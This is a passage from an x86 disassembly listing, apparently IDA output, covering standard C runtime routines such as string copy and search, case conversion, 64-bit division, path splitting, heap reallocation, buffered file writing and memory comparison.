		jnz	short loc_41533A


loc_41536B:				; CODE XREF: sub_415310+20j
		dec	edi
		jmp	short loc_41537B
; ---------------------------------------------------------------------------


loc_41536E:				; CODE XREF: sub_415310+52j
		sub	edi, 2
		jmp	short loc_41537B
; ---------------------------------------------------------------------------


loc_415373:				; CODE XREF: sub_415310+4Bj
		sub	edi, 3
		jmp	short loc_41537B
; ---------------------------------------------------------------------------


loc_415378:				; CODE XREF: sub_415310+47j
		sub	edi, 4


loc_41537B:				; CODE XREF: sub_415310+5Cj
					; sub_415310+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_415390
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4153DC
		jmp	short loc_4153AC
; ---------------------------------------------------------------------------


loc_415390:				; CODE XREF: sub_415310+75j
					; sub_415310+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_4153CA
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_4153C0
		test	esi, 3
		jnz	short loc_415390
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4153DC


loc_4153AC:				; CODE XREF: sub_415310+7Ej
					; sub_415310+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_4153C0


loc_4153B3:				; CODE XREF: sub_415310+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_4153C2
		dec	ecx
		jnz	short loc_4153B3


loc_4153C0:				; CODE XREF: sub_415310+8Bj
					; sub_415310+A1j
		mov	[edi], cl


loc_4153C2:				; CODE XREF: sub_415310+ABj
		pop	ebx
		pop	esi


loc_4153C4:				; CODE XREF: sub_415310+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4153CA:				; CODE XREF: sub_415310+85j
					; sub_415310+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4153D4:				; CODE XREF: sub_415310+E4j
					; sub_415310+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_4153AC


loc_4153DC:				; CODE XREF: sub_415310+7Cj
					; sub_415310+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_4153D4
		test	dl, dl
		jz	short loc_4153CA
		test	dh, dh
		jz	short loc_415428
		test	edx, 0FF0000h
		jz	short loc_415418
		test	edx, 0FF000000h
		jnz	short loc_4153D4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415418:				; CODE XREF: sub_415310+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415428:				; CODE XREF: sub_415310+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_415310	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415440	proc near		; CODE XREF: sub_406059+2A2p
					; sub_40CC09+2D74p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_415461
		xor	eax, eax
		jmp	short loc_415463
; ---------------------------------------------------------------------------


loc_415461:				; CODE XREF: sub_415440+1Bj
		mov	eax, edi


loc_415463:				; CODE XREF: sub_415440+1Fj
		cld
		pop	edi
		leave
		retn
sub_415440	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415467	proc near		; CODE XREF: sub_408410+6p
					; sub_40842E+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_7422B4, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_415494
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41552D
		cmp	eax, 5Ah
		jg	loc_41552D
		add	eax, 20h
		jmp	loc_41552D
; ---------------------------------------------------------------------------


loc_415494:				; CODE XREF: sub_415467+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_4154C8
		cmp	dword_4379BC, esi
		jle	short loc_4154B6
		push	esi
		push	ebx
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_4154C0
; ---------------------------------------------------------------------------


loc_4154B6:				; CODE XREF: sub_415467+42j
		mov	eax, off_4377B0
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_4154C0:				; CODE XREF: sub_415467+4Dj
		test	eax, eax
		jnz	short loc_4154C8


loc_4154C4:				; CODE XREF: sub_415467+ADj
		mov	eax, ebx
		jmp	short loc_41552D
; ---------------------------------------------------------------------------


loc_4154C8:				; CODE XREF: sub_415467+3Aj
					; sub_415467+5Bj
		mov	edx, off_4377B0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_4154EC
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_4154F5
; ---------------------------------------------------------------------------


loc_4154EC:				; CODE XREF: sub_415467+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_4154F5:				; CODE XREF: sub_415467+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_7422B4
		call	sub_419FC4
		add	esp, 20h
		test	eax, eax
		jz	short loc_4154C4
		cmp	eax, esi
		jnz	short loc_415520
		movzx	eax, [ebp+var_4]
		jmp	short loc_41552D
; ---------------------------------------------------------------------------


loc_415520:				; CODE XREF: sub_415467+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41552D:				; CODE XREF: sub_415467+16j
					; sub_415467+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415467	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415540	proc near		; CODE XREF: sub_40930B+3Dp
					; sub_40A927+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_415561
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_4155B1
; ---------------------------------------------------------------------------


loc_415561:				; CODE XREF: sub_415540+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41556F:				; CODE XREF: sub_415540+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41556F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41559A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41559A
		jb	short loc_4155A2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_4155A2


loc_41559A:				; CODE XREF: sub_415540+4Aj
					; sub_415540+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_4155A2:				; CODE XREF: sub_415540+52j
					; sub_415540+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4155B1:				; CODE XREF: sub_415540+1Fj
		pop	ebx
		retn	10h
sub_415540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4155C0	proc near		; CODE XREF: sub_40930B+24p
					; sub_40A927+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_4155E2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_415623
; ---------------------------------------------------------------------------


loc_4155E2:				; CODE XREF: sub_4155C0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_4155F0:				; CODE XREF: sub_4155C0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4155F0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41561E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41561E
		jb	short loc_41561F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41561F


loc_41561E:				; CODE XREF: sub_4155C0+4Ej
					; sub_4155C0+54j
		dec	esi


loc_41561F:				; CODE XREF: sub_4155C0+56j
					; sub_4155C0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_415623:				; CODE XREF: sub_4155C0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_4155C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415628	proc near		; CODE XREF: sub_4093C1+1E3p
					; sub_40C2D0+107p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_413E90
		cmp	eax, 1
		pop	ecx
		jb	short loc_415663
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_415663
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41565F
		push	2
		push	ebx
		push	esi
		call	sub_41A5F3
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41565F:				; CODE XREF: sub_415628+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41566D
; ---------------------------------------------------------------------------


loc_415663:				; CODE XREF: sub_415628+18j
					; sub_415628+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41566D
		and	byte ptr [eax],	0


loc_41566D:				; CODE XREF: sub_415628+39j
					; sub_415628+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_4156E5


loc_415680:				; CODE XREF: sub_415628+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_743761[edx], 4
		jz	short loc_415691
		inc	eax
		jmp	short loc_4156AB
; ---------------------------------------------------------------------------


loc_415691:				; CODE XREF: sub_415628+64j
		cmp	cl, 2Fh
		jz	short loc_4156A5
		cmp	cl, 5Ch
		jz	short loc_4156A5
		cmp	cl, 2Eh
		jnz	short loc_4156AB
		mov	[ebp+var_4], eax
		jmp	short loc_4156AB
; ---------------------------------------------------------------------------


loc_4156A5:				; CODE XREF: sub_415628+6Cj
					; sub_415628+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_4156AB:				; CODE XREF: sub_415628+67j
					; sub_415628+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_415680
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_4156E5
		cmp	[ebp+arg_8], 0
		jz	short loc_4156E0
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_4156C9
		mov	edi, esi


loc_4156C9:				; CODE XREF: sub_415628+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41A5F3
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_4156E0:				; CODE XREF: sub_415628+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_4156EF
; ---------------------------------------------------------------------------


loc_4156E5:				; CODE XREF: sub_415628+56j
					; sub_415628+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_4156EF
		and	byte ptr [ecx],	0


loc_4156EF:				; CODE XREF: sub_415628+BBj
					; sub_415628+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_415742
		cmp	edi, ebx
		jb	short loc_415742
		cmp	[ebp+arg_C], 0
		jz	short loc_41571F
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_415708
		mov	edi, esi


loc_415708:				; CODE XREF: sub_415628+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41A5F3
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41571F:				; CODE XREF: sub_415628+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41576A
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41572F
		mov	esi, eax


loc_41572F:				; CODE XREF: sub_415628+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41A5F3
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41576A
; ---------------------------------------------------------------------------


loc_415742:				; CODE XREF: sub_415628+CCj
					; sub_415628+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_415760
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_415751
		mov	esi, eax


loc_415751:				; CODE XREF: sub_415628+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41A5F3
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_415760:				; CODE XREF: sub_415628+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41576A
		and	byte ptr [eax],	0


loc_41576A:				; CODE XREF: sub_415628+FCj
					; sub_415628+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415628	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41576F	proc near		; CODE XREF: sub_4098A7+19p
					; sub_40B26F+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_416065
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4157AD
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4157BA
; ---------------------------------------------------------------------------


loc_4157AD:				; CODE XREF: sub_41576F+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_415F50
		pop	ecx
		pop	ecx


loc_4157BA:				; CODE XREF: sub_41576F+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41576F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4157BF	proc near		; CODE XREF: sub_409B05+2Ep
					; sub_414913+35p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	esi
		test	ebx, ebx
		push	edi
		jnz	short loc_4157DA
		push	[esp+10h+arg_4]
		call	sub_413F0B
		pop	ecx
		jmp	loc_4158DA
; ---------------------------------------------------------------------------


loc_4157DA:				; CODE XREF: sub_4157BF+Aj
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_4157F0
		push	ebx
		call	sub_413F7F
		pop	ecx


loc_4157E9:				; CODE XREF: sub_4157BF+114j
		xor	eax, eax
		jmp	loc_4158DA
; ---------------------------------------------------------------------------


loc_4157F0:				; CODE XREF: sub_4157BF+21j
					; sub_4157BF+10Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_4158BB
		push	ebx
		call	sub_416979
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		jz	loc_415898
		cmp	esi, dword_4379CC
		ja	short loc_415858
		push	esi
		push	ebx
		push	ebp
		call	sub_417184
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415827
		mov	edi, ebx
		jmp	short loc_415850
; ---------------------------------------------------------------------------


loc_415827:				; CODE XREF: sub_4157BF+62j
		push	esi
		call	sub_416CCF
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_415858
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41583E
		mov	eax, esi


loc_41583E:				; CODE XREF: sub_4157BF+7Bj
		push	eax
		push	ebx
		push	edi
		call	sub_4138F0
		push	ebx
		push	ebp
		call	sub_4169A4
		add	esp, 14h


loc_415850:				; CODE XREF: sub_4157BF+66j
		test	edi, edi
		jnz	loc_4158D8


loc_415858:				; CODE XREF: sub_4157BF+53j
					; sub_4157BF+73j
		test	esi, esi
		jnz	short loc_41585F
		push	1
		pop	esi


loc_41585F:				; CODE XREF: sub_4157BF+9Bj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_743880
		call	ds:dword_41F144	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_4158BB
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_415884
		mov	eax, esi


loc_415884:				; CODE XREF: sub_4157BF+C1j
		push	eax
		push	ebx
		push	edi
		call	sub_4138F0
		push	ebx
		push	ebp
		call	sub_4169A4
		add	esp, 14h
		jmp	short loc_4158B7
; ---------------------------------------------------------------------------


loc_415898:				; CODE XREF: sub_4157BF+47j
		test	esi, esi
		jnz	short loc_41589F
		push	1
		pop	esi


loc_41589F:				; CODE XREF: sub_4157BF+DBj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	dword_743880
		call	ds:off_41F158
		mov	edi, eax


loc_4158B7:				; CODE XREF: sub_4157BF+D7j
		test	edi, edi
		jnz	short loc_4158D8


loc_4158BB:				; CODE XREF: sub_4157BF+36j
					; sub_4157BF+B9j
		cmp	dword_742284, 0
		jz	short loc_4158D8
		push	esi
		call	sub_4168E4
		test	eax, eax
		pop	ecx
		jnz	loc_4157F0
		jmp	loc_4157E9
; ---------------------------------------------------------------------------


loc_4158D8:				; CODE XREF: sub_4157BF+93j
					; sub_4157BF+FAj ...
		mov	eax, edi


loc_4158DA:				; CODE XREF: sub_4157BF+16j
					; sub_4157BF+2Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4157BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4158DF	proc near		; CODE XREF: sub_40A160+12Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_415903
		xor	eax, eax
		jmp	loc_4159D0
; ---------------------------------------------------------------------------


loc_415903:				; CODE XREF: sub_4158DF+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_415916
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41591D
; ---------------------------------------------------------------------------


loc_415916:				; CODE XREF: sub_4158DF+2Dj
		mov	[ebp+arg_C], 1000h


loc_41591D:				; CODE XREF: sub_4158DF+35j
					; sub_4158DF+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_415951
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_415951
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_415937
		mov	edi, eax


loc_415937:				; CODE XREF: sub_4158DF+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_4138F0
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_415997
; ---------------------------------------------------------------------------


loc_415951:				; CODE XREF: sub_4158DF+47j
					; sub_4158DF+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41599C
		test	ecx, ecx
		jz	short loc_415965
		push	esi
		call	sub_419849
		test	eax, eax
		pop	ecx
		jnz	short loc_4159DE


loc_415965:				; CODE XREF: sub_4158DF+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_415978
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41597A
; ---------------------------------------------------------------------------


loc_415978:				; CODE XREF: sub_4158DF+8Aj
		mov	edi, ebx


loc_41597A:				; CODE XREF: sub_4158DF+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41A67D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4159D5
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_4159D5


loc_415997:				; CODE XREF: sub_4158DF+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_4159C5
; ---------------------------------------------------------------------------


loc_41599C:				; CODE XREF: sub_4158DF+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_415F50
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4159DE
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_4159C5
		mov	[ebp+arg_C], 1


loc_4159C5:				; CODE XREF: sub_4158DF+BBj
					; sub_4158DF+DDj
		test	ebx, ebx
		jnz	loc_41591D
		mov	eax, [ebp+arg_8]


loc_4159D0:				; CODE XREF: sub_4158DF+1Fj
					; sub_4158DF+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4159D5:				; CODE XREF: sub_4158DF+ADj
					; sub_4158DF+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_4159E0
; ---------------------------------------------------------------------------


loc_4159DE:				; CODE XREF: sub_4158DF+84j
					; sub_4158DF+CFj
		mov	eax, edi


loc_4159E0:				; CODE XREF: sub_4158DF+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_4159D0
sub_4158DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4159E9	proc near		; CODE XREF: sub_40A90D+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	ds:dword_41F078	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_415A09
		call	ds:off_41F06C
		push	eax
		call	sub_41A82A
		pop	ecx


loc_415A05:				; CODE XREF: sub_4159E9+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_415A09:				; CODE XREF: sub_4159E9+Dj
		test	al, 1
		jz	short loc_415A2A
		test	[esp+arg_4], 2
		jz	short loc_415A2A
		mov	dword_74222C, 0Dh
		mov	dword_742230, 5
		jmp	short loc_415A05
; ---------------------------------------------------------------------------


loc_415A2A:				; CODE XREF: sub_4159E9+22j
					; sub_4159E9+29j
		xor	eax, eax
		retn
sub_4159E9	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415A30	proc near		; CODE XREF: sub_40AA37+5Fp
					; sub_40AA37+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_415A51
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_415A51:				; CODE XREF: sub_415A30+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_415A6D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_415A6D:				; CODE XREF: sub_415A30+27j
		or	eax, eax
		jnz	short loc_415A89
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_415ACA
; ---------------------------------------------------------------------------


loc_415A89:				; CODE XREF: sub_415A30+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_415A97:				; CODE XREF: sub_415A30+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_415A97
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_415AC5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_415AC5
		jb	short loc_415AC6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_415AC6


loc_415AC5:				; CODE XREF: sub_415A30+85j
					; sub_415A30+8Bj
		dec	esi


loc_415AC6:				; CODE XREF: sub_415A30+8Dj
					; sub_415A30+93j
		xor	edx, edx
		mov	eax, esi


loc_415ACA:				; CODE XREF: sub_415A30+57j
		dec	edi
		jnz	short loc_415AD4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_415AD4:				; CODE XREF: sub_415A30+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_415A30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415AE0	proc near		; CODE XREF: sub_40AD97+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_415B2C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_415B2D
		test	eax, 1
		jz	short loc_415B0D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_415B5A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_415B2A


loc_415B0D:				; CODE XREF: sub_415AE0+20j
					; sub_415AE0+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_415B5A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_415B5A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_415B0D


loc_415B2A:				; CODE XREF: sub_415AE0+2Bj
					; sub_415AE0+84j
		pop	edi
		pop	esi

locret_415B2C:				; CODE XREF: sub_415AE0+6j
		retn
; ---------------------------------------------------------------------------


loc_415B2D:				; CODE XREF: sub_415AE0+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_415B62
		repe cmpsd
		jz	short loc_415B62
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_415B55
		cmp	ch, dh
		jnz	short loc_415B55
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_415B55
		cmp	ch, dh


loc_415B55:				; CODE XREF: sub_415AE0+63j
					; sub_415AE0+67j ...
		mov	eax, 0


loc_415B5A:				; CODE XREF: sub_415AE0+26j
					; sub_415AE0+33j ...
		sbb	eax, eax
		pop	edi
